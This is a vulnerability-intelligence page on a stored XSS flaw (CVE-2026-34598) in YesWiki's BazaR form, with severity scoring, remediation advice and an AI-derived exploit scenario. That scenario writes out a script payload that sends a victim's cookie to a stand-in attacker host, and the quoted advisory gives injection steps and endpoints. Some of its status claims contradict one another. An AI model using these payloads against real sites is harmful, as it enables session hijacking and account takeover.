Skip to main content

CVE-2026-34598

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-04-01 https://github.com/YesWiki/yeswiki GHSA-37fq-47qj-6j5j
7.1
CVSS 4.0 · Vendor: https://github.com/YesWiki/yeswiki
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject JavaScript payload in form title field
  2. Exploit
    Payload stored in backend database
  3. Execution
    Victim visits page with injected form
  4. Impact
    Malicious JavaScript executes in victim's browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No authentication required. Attacker injects JavaScript via form title field (stored in backend database). Any user visiting the page with injected form title triggers arbitrary JavaScript execution in their browser. Requires victim interaction (visiting the affected page).

Impact

This vulnerability presents elevated real-world risk despite the absence of CVSS scoring and EPSS data. The unauthenticated attack vector significantly lowers the barrier to exploitation, requiring only HTTP access to the YesWiki instance without any account credentials. A GitHub security advisory has been published, confirming vendor acknowledgment and providing proof-of-concept details with specific endpoints and payloads, which substantially increases exploitation probability. No CISA KEV listing exists, indicating no confirmed active exploitation at time of analysis. However, the detailed PoC in the advisory enables any attacker to reproduce the vulnerability trivially. The stored nature creates persistent risk affecting all users who view compromised pages, including administrators whose sessions could be hijacked for privilege escalation. Attack complexity is low given the straightforward injection process. While SSVC technical impact would be classified as partial (confidentiality/integrity breach in user context rather than system compromise), the automatable nature and potential for widespread impact across multi-user wikis elevate priority. Organizations running public-facing YesWiki instances or those with untrusted contributors face immediate risk.

Exploit ScenarioDerived

An external attacker navigates to a public YesWiki instance at https://target-wiki.example.com/?BazaR&vue=formulaire without authenticating. They click the add record button for the Diary form and inject the payload <script>fetch('https://attacker.com/exfil?cookie='+document.cookie)</script> into the 'Name of the event' field, then submit the form. The malicious script is stored in the YesWiki database and persists across sessions. When a legitimate administrator visits https://target-wiki.example.com/?BazaR&vue=consulter to review diary entries, the stored script executes in their browser, exfiltrating their session cookie to the attacker's server. The attacker uses the stolen session to authenticate as the administrator, gaining full control over wiki content, user management, and potentially accessing sensitive organizational information stored in wiki pages. Publicly available exploit code exists in the GitHub advisory, enabling trivial reproduction by any threat actor.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 01, 2026

Stored cross-site scripting (XSS) in YesWiki allows unauthenticated attackers to inject malicious JavaScript through form title fields, achieving persistent code execution in browsers of all users viewing affected pages. The vulnerability requires no authentication and affects the BazaR form component, with publicly available exploit code demonstrating injection via the 'Name of the event' and 'Description' fields. Successful exploitation enables session hijacking, credential theft, and arbitrary actions in victim contexts including administrative users.

RemediationAI

Organizations should immediately consult the official GitHub security advisory at github.com/YesWiki/yeswiki/security/advisories/GHSA-37fq-47qj-6j5j for vendor-provided remediation guidance and patch availability. Upstream fix available (PR/commit); released patched version not independently confirmed from available data, so administrators should monitor the YesWiki GitHub repository for tagged security releases. As an interim mitigation, restrict access to form creation endpoints (/?BazaR&vue=formulaire) using web server access controls or authentication mechanisms to prevent unauthenticated submission. Implement Content Security Policy (CSP) headers with script-src 'self' directive to limit execution of inline JavaScript, though this may require application configuration changes. Database administrators should audit existing form entries for malicious script content by searching for patterns like <script>, javascript:, onerror=, and onload= in form title and description fields, sanitizing any identified payloads. For production environments unable to immediately patch, consider disabling the BazaR module entirely if not mission-critical. Subscribe to security notifications from github.com/advisories/GHSA-37fq-47qj-6j5j for updates on permanent fixes.

Affected Packages

composer yeswiki/yeswiki fix: 4.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

YesWiki is a PHP-based wiki and collaborative web application framework distributed via Composer (pkg:composer/yeswiki_yeswiki). This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), where the application fails to sanitize or encode user-supplied input in form title fields before storing it in the backend database. When the stored data is rendered on pages like /?BazaR&vue=consulter, the browser interprets the malicious script tags as executable code rather than display text. The BazaR module's form handling mechanism lacks proper output encoding, allowing HTML and JavaScript injection to persist across sessions. This is a classic stored XSS attack chain: injection at input → storage in database → unsafe rendering on output → execution in victim browsers. The blind nature means attackers cannot immediately see results but can exfiltrate data to external servers.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/YesWiki/yeswiki) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/YesWiki/yeswiki) · only source for this CVE.

CVSS VectorVendor: https://github.com/YesWiki/yeswiki

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 01, 2026 - 00:13 nvd
HIGH 7.1

DescriptionCVE.org

Summary

A stored and blind XSS vulnerability exists in the form title field. A malicious attacker can inject JavaScript without any authentication via a form title that is saved in the backend database. When any user visits that injected page, the JavaScript payload gets executed.

Type: Stored and Blind Cross-Site Scripting (XSS) Affected Component: form title input field Authentication Required: No (Unauthenticated attack possible) Impact: Arbitrary JavaScript execution in victim’s browser

Details

A Stored XSS vulnerability occurs when an application stores malicious user input (in this case, a script injected via the form title field) in its backend database and renders it later on a page viewed by other users without proper sanitization or encoding.

In this case, the attacker can inject JavaScript payloads in the title field of a form, which the application stores in the database. When any user, such as an admin or another visitor, views the page that displays this title, the malicious script executes in their browser context.

PoC

  • Visit https://yeswiki.net/?BazaR&vue=formulaire or localhost/?BazaR&vue=formulaire or

https://ferme.yeswiki.net/[username]/?BazaR&vue=formulaire

  • Click on the + icon to add a record via the Diary form.
  • Inject the payload like: <script>alert(document.cookie)</script> or <script>alert(1)</script> into Name of the event and Description
  • Then save the record by clicking To validate
  • The payload will be executed when anyone visits /?BazaR&vue=consulter also in the diary record

/?wiki=BazaR&vue=consulter&action=recherche&q=&id=2&facette=

The payload is persistant.

Executive ViewAI

Why It Matters

YesWiki contains a stored cross-site scripting vulnerability in the BazaR form component that allows unauthenticated attackers to inject persistent malicious code affecting all users who view compromised pages, creating risk of session hijacking and credential theft across your user base including administrators. This vulnerability poses immediate risk to any organization using YesWiki, as exploitation requires no special access and publicly available proof-of-concept code exists. Immediate isolation of affected instances is necessary pending vendor remediation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable or restrict access to BazaR form component until patch availability; (2) implement input validation on form title and description fields to reject or sanitize JavaScript patterns; (3) apply Web Application Firewall rules to block script payloads in form submissions; (4) enforce Content Security Policy headers to restrict inline script execution; (5) audit and invalidate all active user sessions as precautionary measure.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:composer/yeswiki_yeswiki

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy